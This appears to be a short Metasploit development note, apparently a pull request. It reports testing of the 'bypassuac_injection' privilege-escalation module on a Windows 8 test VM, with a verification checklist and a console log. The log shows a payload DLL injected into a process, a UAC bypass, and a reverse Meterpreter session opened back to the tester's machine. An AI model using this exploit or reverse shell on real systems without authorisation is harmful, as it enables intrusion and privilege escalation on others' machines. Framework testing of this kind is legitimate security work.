BypassUAC Injection on Win8.0

So when we were testing this there seemed to be some confusion as to whether it worked in Windows 8. 

## Verification
- [ ] Should run on Win7
- [ ] Should run on Win2k8
- [ ] Should run on Win8
- [ ] Shouldn't run on Win8.1

I just tried it on a fresh install of IE10 Win8 from Modern.ie and it worked fine:

```
msf exploit(bypassuac_injection) > rerun
[*] Reloading module...

[*] Started reverse handler on 192.168.5.100:4444 
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[+] Part of Administrators group! Continuing...
[*] Uploading the Payload DLL to the filesystem...
[*] Spawning process with Windows Publisher Certificate, to inject into...
[+] Successfully injected payload in to process: 1920
[*] Sending stage (769536 bytes) to 192.168.5.105
[*] Meterpreter session 2 opened (192.168.5.100:4444 -> 192.168.5.105:49160) at 2014-04-04 14:47:43 +0100

meterpreter > sysinfo
Computer        : IE10WIN8
OS              : Windows 8 (Build 9200).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
```